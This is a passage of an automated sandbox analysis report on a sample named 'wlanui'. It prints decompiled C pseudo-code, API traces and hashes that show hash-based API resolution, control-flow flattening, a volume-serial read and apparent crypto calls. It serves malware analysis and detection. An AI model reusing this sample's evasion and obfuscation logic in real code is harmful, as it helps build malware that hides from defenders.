0x00489f40
0x00489f50
0x00489f6d
0x00489f74
0x00489f87
0x00489f8c
0x00489f8c
0x00489f93
0x00489f95
0x00489f9c
0x00489faf
0x00489fb4
0x00489fb4
0x00489fc0
0x00489fc2
0x00489fca
0x00000000
0x00489fd0
0x00489fd0
0x00000000
0x00489fd0
0x00489f52
0x00489f57
0x0048a022
0x0048a03a
0x0048a03a
0x0048a04e
0x0048a050
0x0048a056
0x0048a059
0x0048a061
0x00489f5d
0x00489f62
0x00000000
0x00489f64
0x00489f6c
0x00489f6c
0x00489f62
0x00489f57
0x00489f50
0x00489fda
0x00489fe1
0x00489ff4
0x00489ff9
0x00489ff9
0x0048a006
0x0048a008
0x0048a00e
0x0048a011
0x00000000

APIs

CreateThread.KERNEL32(00000000,00000000,00489B60,00000000,00000000,00000000), ref: 0048A04E

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: f06db884963f80ccb0a61605dc1bbc2190778b44f5d6f961512fb2422e02db27
Instruction ID: 76e7b45f46782725c81a830be69299acd1363725dd49175358106c3fe6418746
Opcode Fuzzy Hash: f06db884963f80ccb0a61605dc1bbc2190778b44f5d6f961512fb2422e02db27
Instruction Fuzzy Hash: E7214130B047019BEB28BF6A9C5173E22969B51B48F240C2EB705DF3E5FA65DD01978E

Uniqueness

Uniqueness Score: -1.00%

Function 00485C00, Relevance: 1.6, APIs: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00485C00(void* __ecx, void* __edx, void* __ebp) {
				intOrPtr _v0;
				intOrPtr _v4;
				void* __ebx;
				intOrPtr* _t3;
				void* _t6;
				intOrPtr* _t9;
				intOrPtr* _t11;
				void* _t19;
				void* _t20;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t40;

				_t41 = __ebp;
				_t3 =  *0x48e494;
				_t19 = __ecx;
				_t37 = __edx;
				if(_t3 == 0) {
					_t3 = E00483E60(__ecx, E00483F00(0x9bab0b12), 0x7facde30, __ebp);
					 *0x48e494 = _t3;
				}
				_t39 =  *_t3();
				if( *0x48dd18 == 0) {
					 *0x48dd18 = E00483E60(_t19, E00483F00(0x9bab0b12), 0x9ff0609c, _t41);
				}
				_t6 = RtlAllocateHeap(_t39, 8, 0x40000); // executed
				_t40 = _t6;
				if(_t40 == 0) {
					return 0;
				} else {
					_push(_t40);
					_push(_v0);
					_push(_v4);
					_t20 = E004858C0(_t19, _t37);
					_t9 =  *0x48e494;
					if(_t9 == 0) {
						_t9 = E00483E60(_t20, E00483F00(0x9bab0b12), 0x7facde30, _t41);
						 *0x48e494 = _t9;
					}
					_t38 =  *_t9();
					_t11 =  *0x48df30;
					if(_t11 == 0) {
						_t11 = E00483E60(_t20, E00483F00(0x9bab0b12), 0x5010a54d, _t41);
						 *0x48df30 = _t11;
					}
					 *_t11(_t38, 0, _t40);
					return _t20;
				}
			}

0x00485c00
0x00485c00
0x00485c06
0x00485c0a
0x00485c0e
0x00485c21
0x00485c26
0x00485c26
0x00485c2d
0x00485c36
0x00485c4e
0x00485c4e
0x00485c5b
0x00485c5d
0x00485c61
0x00485cd7
0x00485c63
0x00485c63
0x00485c64
0x00485c6c
0x00485c75
0x00485c7a
0x00485c81
0x00485c94
0x00485c99
0x00485c99
0x00485ca0
0x00485ca2
0x00485ca9
0x00485cbc
0x00485cc1
0x00485cc1
0x00485cca
0x00485cd1
0x00485cd1

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00040000), ref: 00485C5B

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9d9828802982fc29f890c1f0c2e5832dfcd17e7ff5603c86e8d29114bed266de
Instruction ID: e4dbb33bb33f01ee576329c050e09b39d958c16aa7eb0376fdc92d522de6d8c4
Opcode Fuzzy Hash: 9d9828802982fc29f890c1f0c2e5832dfcd17e7ff5603c86e8d29114bed266de
Instruction Fuzzy Hash: 59117C30B117111BDB14BFBE9C5162F2ADB9FE0A59B100C3EB609CB366EA28CD01579D

Uniqueness

Uniqueness Score: -1.00%

Function 00485500, Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00485500(void* __ebx, void* __ebp) {
				char _v520;
				short _v528;
				long _v532;
				intOrPtr* _t7;
				short* _t10;
				WCHAR** _t28;

				_t27 = __ebp;
				_t16 = __ebx;
				_t7 =  *0x48e084;
				 *_t28 = 0;
				if(_t7 == 0) {
					_t7 = E00483E60(__ebx, E00483F00(0x9bab0b12), 0x176c3a02, __ebp);
					 *0x48e084 = _t7;
				}
				_push(0x104);
				_push( &_v520);
				if( *_t7() != 0) {
					_t10 =  &_v528;
					if(_v528 != 0) {
						while( *_t10 != 0x5c) {
							_t10 = _t10 + 2;
							if( *_t10 != 0) {
								continue;
							} else {
							}
							goto L9;
						}
						 *((short*)(_t10 + 2)) = 0;
					}
					L9:
					if( *0x48e098 == 0) {
						 *0x48e098 = E00483E60(_t16, E00483F00(0x9bab0b12), 0xfee49d4e, _t27);
					}
					GetVolumeInformationW( &_v528, 0, 0,  &_v532, 0, 0, 0, 0); // executed
				}
				return _v532;
			}

0x00485500
0x00485500
0x00485506
0x0048550b
0x00485514
0x00485527
0x0048552c
0x0048552c
0x00485531
0x0048553a
0x0048553f
0x00485547
0x0048554b
0x00485550
0x00485556
0x0048555d
0x00000000
0x00000000
0x0048555f
0x00000000
0x0048555d
0x00485563
0x00485563
0x00485567
0x0048556e
0x00485586
0x00485586
0x004855a1
0x004855a1
0x004855ac

APIs

GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004855A1

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 515e3f2e9693ebb60207db5cc9530fe0dee6e75f38d8061a58cef71e1d76c4e5
Instruction ID: 18cfa132bb95a1ee5c4228edd75c16cc5b44f6ce73e1066e7d56b272b379a90a
Opcode Fuzzy Hash: 515e3f2e9693ebb60207db5cc9530fe0dee6e75f38d8061a58cef71e1d76c4e5
Instruction Fuzzy Hash: 6C117C70600300ABE724FF66CC42B7E77E6AF90B44F444C2EA2458B2D4FBB8D944975A

Uniqueness

Uniqueness Score: -1.00%

Function 00460170, Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00460F08
Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00460F3E
Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00460F7F

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?), ref: 004602F6

Memory Dump Source

Source File: 0000000F.00000002.2335360642.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_460000_wlanui.jbxd

Similarity

API ID: MemoryMove$FreeVirtual
String ID:
API String ID: 223123264-0
Opcode ID: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction ID: 25c2746c31fe70e8e70002dbc77c117d8572d170fbf53ed55c9548f2e95cc693
Opcode Fuzzy Hash: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction Fuzzy Hash: 845149B1900268ABDB20DF64DD84BDEB778EF88704F0045DAF509B7250EB785A85CF95

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00482230, Relevance: 4.0, Strings: 3, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00482230(signed int* __ecx, signed int* __edx) {
				char _v25;
				char _v108;
				char _v112;
				char _v116;
				signed int _v120;
				char _v124;
				signed int _v128;
				signed int* _v132;
				signed int* _v136;
				signed int* _v140;
				signed int* _v144;
				signed int* _v148;
				signed int* _v152;
				signed int* _v156;
				signed int* _v160;
				signed int* _v164;
				void* __ebx;
				void* __ebp;
				signed int* _t61;
				signed int _t64;
				signed int _t68;
				intOrPtr _t71;
				signed int _t79;
				signed int _t80;
				signed int _t82;
				signed int _t83;
				intOrPtr _t86;
				signed int _t87;
				intOrPtr _t93;
				signed int _t98;
				signed int _t104;
				signed int* _t105;
				signed int _t106;
				signed int _t107;
				signed int _t111;
				signed int _t112;
				intOrPtr* _t117;
				signed int* _t133;
				signed int _t137;
				signed int _t143;
				signed int _t144;
				void* _t145;
				signed int _t146;
				signed int _t147;
				signed int _t149;
				signed int _t151;
				signed int** _t153;
				void* _t155;
				void* _t156;

				_t105 = __ecx;
				_t153 =  &_v140;
				_t104 = _v120;
				_t151 = _v120;
				_v132 = __edx;
				_t146 = 0x3ea70a1;
				_v136 = __ecx;
				_v128 = 0;
				while(1) {
					L1:
					_t61 = _v140;
					do {
						while(1) {
							L2:
							_t155 = _t146 - 0xf573de9;
							if(_t155 > 0) {
								break;
							}
							if(_t155 == 0) {
								_t106 =  *0x48df54;
								_v112 = 0x14;
								__eflags = _t106;
								if(_t106 == 0) {
									_t106 = E00483E60(_t104, E00483F00(0x26f5757c), 0x954f2ac2, _t151);
									 *0x48df54 = _t106;
								}
								_t20 = _t104 + 0x60; // 0x60
								_t64 =  *_t106(_v124, 2, _t20,  &_v112, 0);
								_t105 = _v156;
								__eflags = _t64;
								_t61 = _v160;
								if(_t64 != 0) {
									_t146 = 0x12d660c6;
									_v148 = 1;
									while(1) {
										L1:
										_t61 = _v140;
										goto L2;
									}
								}
								continue;
							} else {
								_t156 = _t146 - 0x7187f49;
								if(_t156 > 0) {
									__eflags = _t146 - 0xd55ea35;
									if(_t146 != 0xd55ea35) {
										goto L8;
									} else {
										_t68 =  *0x48e1e0;
										_t149 = _t105[1];
										_t143 =  *_t105;
										__eflags = _t68;
										if(_t68 == 0) {
											_t68 = E00483E60(_t104, E00483F00(0xc6fbcd74), 0x624eee2, _t151);
											 *0x48e1e0 = _t68;
										}
										 *_t68(_v140, _t143, _t149);
										_t105 = _v136;
										_t153 =  &(_t153[3]);
										_t133 = _v132;
										_t146 = 0x7187f49;
										while(1) {
											L1:
											_t61 = _v140;
											goto L2;
										}
									}
								} else {
									if(_t156 == 0) {
										_t107 =  *0x48db58;
										__eflags = _t107;
										if(_t107 == 0) {
											_t107 = E00483E60(_t104, E00483F00(0x26f5757c), 0x933eabe2, _t151);
											_t61 = _v140;
											 *0x48db58 = _t107;
										}
										_t71 =  *0x48e544; // 0x314640
										_t11 = _t71 + 0x10; // 0x2d80b20
										 *_t107( *_t11, _v124, 1, 0, _t61,  &_v120, _t151);
										_t105 = _v164;
										_t133 = _v160;
										asm("sbb esi, esi");
										_t146 = (_t146 & 0x1dfee662) + 0x12d660c6;
										while(1) {
											L1:
											_t61 = _v140;
											goto L2;
										}
									} else {
										if(_t146 == 0x3ea70a1) {
											_t146 = 0x3272bd97;
											continue;
										} else {
											if(_t146 == 0x715b39b) {
												_t144 = _v128;
												__eflags = _t144;
												if(_t144 == 0) {
													E00484220(_t104,  *_t133);
												}
												return _t144;
											} else {
												goto L8;
											}
										}
									}
								}
							}
							L51:
						}
						__eflags = _t146 - 0x30d54728;
						if(__eflags > 0) {
							__eflags = _t146 - 0x3272bd97;
							if(_t146 != 0x3272bd97) {
								goto L8;
							} else {
								_t79 = _t105[1] + 1;
								__eflags = _t79 & 0x0000000f;
								if((_t79 & 0x0000000f) != 0) {
									_t79 = (_t79 & 0xfffffff0) + 0x10;
									__eflags = _t79;
								}
								_t147 = _t79 + 0x74;
								_t80 =  *0x48e494;
								_t133[1] = _t147;
								__eflags = _t80;
								if(_t80 == 0) {
									_t80 = E00483E60(_t104, E00483F00(0x9bab0b12), 0x7facde30, _t151);
									 *0x48e494 = _t80;
								}
								_t145 =  *_t80();
								_t82 =  *0x48dd18;
								__eflags = _t82;
								if(_t82 == 0) {
									_t82 = E00483E60(_t104, E00483F00(0x9bab0b12), 0x9ff0609c, _t151);
									 *0x48dd18 = _t82;
								}
								_t83 =  *_t82(_t145, 8, _t147);
								_t133 = _v144;
								_t104 = _t83;
								 *_t133 = _t104;
								__eflags = _t104;
								if(_t104 == 0) {
									break;
								} else {
									_t53 = _t104 + 0x74; // 0x74
									_t61 = _t53;
									_t146 = 0xffd55eb;
									_v152 = _t61;
									_t151 =  &_v116;
									_v132 = _v148[1];
									_t105 = _v148;
									goto L2;
								}
							}
						} else {
							if(__eflags == 0) {
								_t111 =  *0x48e120;
								_v116 = 0x6c;
								__eflags = _t111;
								if(_t111 == 0) {
									_t111 = E00483E60(_t104, E00483F00(0x26f5757c), 0xa7de3148, _t151);
									 *0x48e120 = _t111;
								}
								_t86 =  *0x48e544; // 0x314640
								_t36 = _t86 + 8; // 0x2d809c8
								_t37 = _t86 + 0x10; // 0x2d80b20
								_t87 =  *_t111( *_t37,  *_t36, 1, 0x40,  &_v108,  &_v116);
								__eflags = _t87;
								if(_t87 == 0) {
									_t105 = _v160;
									_t146 = 0x12d660c6;
									_t133 = _v156;
									goto L1;
								} else {
									_t117 =  &_v25;
									_t137 = _t104;
									do {
										_t137 = _t137 + 1;
										 *((char*)(_t137 - 1)) =  *_t117;
										_t117 = _t117 - 1;
										__eflags = _t117 -  &_v120;
									} while (_t117 >=  &_v120);
									_t105 = _v160;
									_t146 = 0xf573de9;
									_t133 = _v156;
									while(1) {
										L1:
										_t61 = _v140;
										goto L2;
									}
								}
							} else {
								__eflags = _t146 - 0xffd55eb;
								if(_t146 == 0xffd55eb) {
									_t112 =  *0x48dff0;
									__eflags = _t112;
									if(_t112 == 0) {
										_t112 = E00483E60(_t104, E00483F00(0x26f5757c), 0xc7ccd5be, _t151);
										 *0x48dff0 = _t112;
									}
									_t93 =  *0x48e544; // 0x314640
									_t30 = _t93 + 0x1c; // 0x2d80df0
									 *_t112( *_t30, 0, 0,  &_v124);
									_t105 = _v152;
									_t133 = _v148;
									asm("sbb esi, esi");
									_t146 = (_t146 & 0x0640369a) + 0x715b39b;
									while(1) {
										L1:
										_t61 = _v140;
										goto L2;
									}
								} else {
									__eflags = _t146 - 0x12d660c6;
									if(_t146 != 0x12d660c6) {
										goto L8;
									} else {
										_t98 =  *0x48e308;
										__eflags = _t98;
										if(_t98 == 0) {
											_t98 = E00483E60(_t104, E00483F00(0x26f5757c), 0xd8b73a4f, _t151);
											 *0x48e308 = _t98;
										}
										 *_t98(_v124);
										_t105 = _v140;
										_t146 = 0x715b39b;
										_t133 = _v136;
										while(1) {
											L1:
											_t61 = _v140;
											goto L2;
										}
									}
								}
							}
						}
						goto L51;
						L8:
					} while (_t146 != 0x21395ef6);
					return _v128;
					goto L51;
				}
			}

0x00482230
0x00482230
0x00482237
0x0048223e
0x00482244
0x00482248
0x0048224d
0x00482251
0x00482255
0x00482255
0x00482255
0x00482260
0x00482260
0x00482260
0x00482260
0x00482266
0x00000000
0x00000000
0x0048226c
0x00482366
0x0048236c
0x00482374
0x00482376
0x0048238e
0x00482390
0x00482390
0x0048239d
0x004823a7
0x004823a9
0x004823ad
0x004823af
0x004823b7
0x004823bd
0x004823c2
0x00482255
0x00482255
0x00482255
0x00000000
0x00482255
0x00482255
0x00000000
0x00482272
0x00482272
0x00482278
0x00482314
0x0048231a
0x00000000
0x00482320
0x00482320
0x00482325
0x00482328
0x0048232a
0x0048232c
0x0048233f
0x00482344
0x00482344
0x0048234f
0x00482351
0x00482355
0x00482358
0x0048235c
0x00482255
0x00482255
0x00482255
0x00000000
0x00482255
0x00482255
0x0048227e
0x0048227e
0x004822b2
0x004822b8
0x004822ba
0x004822d2
0x004822d4
0x004822d8
0x004822d8
0x004822e5
0x004822f2
0x004822f5
0x004822f7
0x004822fd
0x00482301
0x00482309
0x00482255
0x00482255
0x00482255
0x00000000
0x00482255
0x00482280
0x00482286
0x004822ab
0x00000000
0x00482288
0x0048228e
0x004825be
0x004825c2
0x004825c4
0x004825c8
0x004825c8
0x004825d9
0x00000000
0x00000000
0x00000000
0x0048228e
0x00482286
0x0048227e
0x00482278
0x00000000
0x0048226c
0x004823cf
0x004823d5
0x00482516
0x0048251c
0x00000000
0x00482522
0x00482525
0x00482526
0x00482528
0x0048252d
0x0048252d
0x0048252d
0x00482530
0x00482533
0x00482538
0x0048253b
0x0048253d
0x00482550
0x00482555
0x00482555
0x0048255c
0x0048255e
0x00482563
0x00482565
0x00482578
0x0048257d
0x0048257d
0x00482586
0x00482588
0x0048258c
0x0048258e
0x00482590
0x00482592
0x00000000
0x00482598
0x0048259c
0x0048259c
0x004825a2
0x004825a7
0x004825ab
0x004825b1
0x004825b5
0x00000000
0x004825b5
0x00482592
0x004823db
0x004823db
0x00482489
0x0048248f
0x00482497
0x00482499
0x004824b1
0x004824b3
0x004824b3
0x004824c3
0x004824cc
0x004824cf
0x004824d2
0x004824d4
0x004824d6
0x00482504
0x00482508
0x0048250d
0x00000000
0x004824d8
0x004824d8
0x004824df
0x004824e1
0x004824e3
0x004824e6
0x004824e9
0x004824ee
0x004824ee
0x004824f2
0x004824f6
0x004824fb
0x00482255
0x00482255
0x00482255
0x00000000
0x00482255
0x00482255
0x004823e1
0x004823e1
0x004823e7
0x00482431
0x00482437
0x00482439
0x00482451
0x00482453
0x00482453
0x0048245e
0x00482467
0x0048246a
0x0048246c
0x00482472
0x00482476
0x0048247e
0x00482255
0x00482255
0x00482255
0x00000000
0x00482255
0x004823e9
0x004823e9
0x004823ef
0x00000000
0x004823f5
0x004823f5
0x004823fa
0x004823fc
0x0048240f
0x00482414
0x00482414
0x0048241d
0x0048241f
0x00482423
0x00482428
0x00482255
0x00482255
0x00482255
0x00000000
0x00482255
0x00482255
0x004823ef
0x004823e7
0x004823db
0x00000000
0x00482294
0x00482294
0x004822aa
0x00000000
0x004822aa

Strings

5U, xrefs: 00482314
l, xrefs: 0048248F
@F1, xrefs: 004822E5, 0048245E, 004824C3

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID:
String ID: 5U$@F1$l
API String ID: 0-329375996
Opcode ID: 2913eb9096e6bfb1d66e7a90ed372d52c118e5953ec7faea38765083ee6d7f4a
Instruction ID: 68dec84328e603f6315ea457c199c3590476e192ab55e4e458d336180c78e4ab
Opcode Fuzzy Hash: 2913eb9096e6bfb1d66e7a90ed372d52c118e5953ec7faea38765083ee6d7f4a
Instruction Fuzzy Hash: 5091F731A043028BCB18FF59DA90A2F77E2BB88704F140C6EF95597391E738DD058B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00481FC0, Relevance: 2.7, Strings: 2, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00481FC0(intOrPtr* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __ebp;
				void* _t20;
				intOrPtr _t23;
				signed int _t24;
				intOrPtr* _t29;
				intOrPtr* _t33;
				intOrPtr* _t36;
				signed int _t37;
				intOrPtr* _t41;
				intOrPtr* _t45;
				intOrPtr* _t48;
				intOrPtr _t50;
				intOrPtr _t56;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr _t76;
				intOrPtr _t77;
				intOrPtr* _t78;
				void* _t79;
				void* _t81;
				void* _t82;

				_t20 = 0x2fa233da;
				_t48 = __edx;
				_t78 = __ecx;
				_t75 = 0;
				while(1) {
					L1:
					_t76 =  *((intOrPtr*)(_t79 + 0x14));
					goto L2;
					do {
						while(1) {
							L2:
							_t81 = _t20 - 0x12f3165e;
							if(_t81 > 0) {
								break;
							}
							if(_t81 == 0) {
								_t29 =  *0x48dd24; // 0x0
								__eflags = _t29;
								if(_t29 == 0) {
									_t29 = E00483E60(_t48, E00483F00(0x26f5757c), 0x56a553d3, _t78);
									 *0x48dd24 = _t29;
								}
								_t50 =  *0x48e544; // 0x314640
								_t14 = _t50 + 8; // 0x2d809c8
								__eflags =  *_t29( *((intOrPtr*)(_t79 + 0x24)), _t76, 0x60,  *_t14, 0, 0);
								_t20 = 0x317ab9d;
								_t75 =  !=  ? 1 : _t75;
								continue;
							} else {
								_t82 = _t20 - 0x58a511f;
								if(_t82 > 0) {
									__eflags = _t20 - 0x5f533d5;
									if(_t20 == 0x5f533d5) {
										__eflags = _t75;
										if(_t75 == 0) {
											E00484220(_t48,  *_t48);
										}
										goto L40;
									} else {
										__eflags = _t20 - 0xecfc0ca;
										if(_t20 != 0xecfc0ca) {
											goto L36;
										} else {
											_t33 =  *0x48e1e0;
											_t77 =  *_t48;
											__eflags = _t33;
											if(_t33 == 0) {
												_t33 = E00483E60(_t48, E00483F00(0xc6fbcd74), 0x624eee2, _t78);
												 *0x48e1e0 = _t33;
											}
											 *_t33(_t77,  *((intOrPtr*)(_t79 + 0x20)),  *((intOrPtr*)(_t79 + 0x18)));
											_t79 = _t79 + 0xc;
											_t20 = 0x225c46c1;
											goto L1;
										}
									}
								} else {
									if(_t82 == 0) {
										_t36 =  *0x48dff0;
										__eflags = _t36;
										if(_t36 == 0) {
											_t36 = E00483E60(_t48, E00483F00(0x26f5757c), 0xc7ccd5be, _t78);
											 *0x48dff0 = _t36;
										}
										_t56 =  *0x48e544; // 0x314640
										_t11 = _t56 + 0x1c; // 0x2d80df0
										_t37 =  *_t36( *_t11, 0, 0, _t79 + 0x10);
										asm("sbb eax, eax");
										_t20 = ( ~_t37 & 0x08da8cf5) + 0x5f533d5;
										continue;
									} else {
										if(_t20 == 0xc0acb) {
											 *((intOrPtr*)(_t48 + 4)) =  *((intOrPtr*)(_t78 + 4)) + 0xffffff8c;
											_t41 = E004842C0(_t48,  *((intOrPtr*)(_t78 + 4)) + 0xffffff8c);
											 *_t48 = _t41;
											__eflags = _t41;
											if(_t41 == 0) {
												L40:
												return _t75;
											} else {
												_t76 =  *_t78;
												 *((intOrPtr*)(_t79 + 0x14)) = _t76;
												 *((intOrPtr*)(_t79 + 0x1c)) = _t76 + 0x74;
												 *((intOrPtr*)(_t79 + 0x18)) =  *((intOrPtr*)(_t78 + 4)) - 0x74;
												_t20 = 0x58a511f;
												continue;
											}
										} else {
											if(_t20 != 0x317ab9d) {
												goto L36;
											} else {
												_t45 =  *0x48e308;
												if(_t45 == 0) {
													_t45 = E00483E60(_t48, E00483F00(0x26f5757c), 0xd8b73a4f, _t78);
													 *0x48e308 = _t45;
												}
												 *_t45( *((intOrPtr*)(_t79 + 0x10)));
												_t20 = 0x5f533d5;
												continue;
											}
										}
									}
								}
							}
							L41:
						}
						__eflags = _t20 - 0x2fa233da;
						if(__eflags > 0) {
							__eflags = _t20 - 0x349446de;
							if(_t20 != 0x349446de) {
								goto L36;
							} else {
								_t20 = 0xc0acb;
								goto L2;
							}
						} else {
							if(__eflags == 0) {
								_t20 = 0x21b6ea48;
								goto L2;
							} else {
								__eflags = _t20 - 0x21b6ea48;
								if(_t20 == 0x21b6ea48) {
									__eflags =  *((intOrPtr*)(_t78 + 4)) - 0x74;
									if( *((intOrPtr*)(_t78 + 4)) < 0x74) {
										goto L40;
									} else {
										_t20 = 0x349446de;
										goto L2;
									}
								} else {
									__eflags = _t20 - 0x225c46c1;
									if(_t20 != 0x225c46c1) {
										goto L36;
									} else {
										_t73 =  *0x48deb8; // 0x0
										__eflags = _t73;
										if(_t73 == 0) {
											_t73 = E00483E60(_t48, E00483F00(0x26f5757c), 0x3174712a, _t78);
											 *0x48deb8 = _t73;
										}
										_t23 =  *0x48e544; // 0x314640
										_t18 = _t23 + 0x10; // 0x2d80b20
										_t24 =  *_t73( *_t18,  *((intOrPtr*)(_t79 + 0x20)), 1, 0,  *_t48, _t48 + 4);
										asm("sbb eax, eax");
										_t20 = ( ~_t24 & 0x0fdb6ac1) + 0x317ab9d;
										goto L2;
									}
								}
							}
						}
						goto L41;
						L36:
						__eflags = _t20 - 0x22073c7b;
					} while (_t20 != 0x22073c7b);
					return _t75;
					goto L41;
				}
			}

0x00481fc3
0x00481fcc
0x00481fce
0x00481fd0
0x00481fd2
0x00481fd2
0x00481fd2
0x00481fd6
0x00481fe0
0x00481fe0
0x00481fe0
0x00481fe0
0x00481fe5
0x00000000
0x00000000
0x00481feb
0x0048211a
0x0048211f
0x00482121
0x00482134
0x00482139
0x00482139
0x0048213e
0x00482148
0x00482154
0x0048215b
0x00482160
0x00000000
0x00481ff1
0x00481ff1
0x00481ff6
0x004820c6
0x004820cb
0x00482212
0x00482214
0x00482218
0x00482218
0x00000000
0x004820d1
0x004820d1
0x004820d6
0x00000000
0x004820dc
0x004820dc
0x004820e1
0x004820e3
0x004820e5
0x004820f8
0x004820fd
0x004820fd
0x0048210b
0x0048210d
0x00482110
0x00000000
0x00482110
0x004820d6
0x00481ffc
0x00481ffc
0x0048207b
0x00482080
0x00482082
0x00482095
0x0048209a
0x0048209a
0x004820a4
0x004820ae
0x004820b1
0x004820b5
0x004820bc
0x00000000
0x00481ffe
0x00482003
0x00482047
0x0048204a
0x0048204f
0x00482051
0x00482053
0x0048221d
0x00482226
0x00482059
0x00482059
0x0048205c
0x00482063
0x0048206d
0x00482071
0x00000000
0x00482071
0x00482005
0x0048200a
0x00000000
0x00482010
0x00482010
0x00482017
0x0048202a
0x0048202f
0x0048202f
0x00482038
0x0048203a
0x00000000
0x0048203a
0x0048200a
0x00482003
0x00481ffc
0x00481ff6
0x00000000
0x00481feb
0x00482168
0x0048216d
0x004821ec
0x004821f1
0x00000000
0x004821f3
0x004821f3
0x00000000
0x004821f3
0x0048216f
0x0048216f
0x004821e2
0x00000000
0x00482171
0x00482171
0x00482176
0x004821d2
0x004821d6
0x00000000
0x004821d8
0x004821d8
0x00000000
0x004821d8
0x00482178
0x00482178
0x0048217d
0x00000000
0x0048217f
0x0048217f
0x00482185
0x00482187
0x0048219f
0x004821a1
0x004821a1
0x004821a7
0x004821ba
0x004821bd
0x004821c1
0x004821c8
0x00000000
0x004821c8
0x0048217d
0x00482176
0x0048216f
0x00000000
0x004821fd
0x004821fd
0x004821fd
0x00482211
0x00000000
0x00482211

Strings

*qt1, xrefs: 00482193
@F1, xrefs: 004820A4, 0048213E, 004821A7

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID:
String ID: *qt1$@F1
API String ID: 0-3813603737
Opcode ID: 9462cd8e005c782a603937dcbc04c46934b1a3329fafc9beea68d9da4e4c480d
Instruction ID: 41a451a8d4c5a5ba4fb47b93cee60d661e68fd99e92a8d1162e2cf305f1226cf
Opcode Fuzzy Hash: 9462cd8e005c782a603937dcbc04c46934b1a3329fafc9beea68d9da4e4c480d
Instruction Fuzzy Hash: 5351B731B4420187DB14BF69DD84A2E36A6EB84754F244C2FF701CB354EB78DD018B4A

Uniqueness

Uniqueness Score: -1.00%

Function 00481FD8, Relevance: .0, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00481FD8(void* __eax, intOrPtr* __edi) {
				void* _t20;
				intOrPtr _t23;
				signed int _t24;
				intOrPtr* _t29;
				intOrPtr* _t33;
				intOrPtr* _t36;
				signed int _t37;
				intOrPtr* _t41;
				intOrPtr* _t45;
				intOrPtr* _t48;
				intOrPtr _t51;
				intOrPtr _t57;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr _t78;
				intOrPtr _t81;
				intOrPtr* _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t75 = __edi;
				_t20 = __eax;
				goto L2;
				do {
					while(1) {
						L2:
						_t88 = _t20 - 0x12f3165e;
						if(_t88 > 0) {
							break;
						}
						if(_t88 == 0) {
							_t29 =  *0x48dd24; // 0x0
							__eflags = _t29;
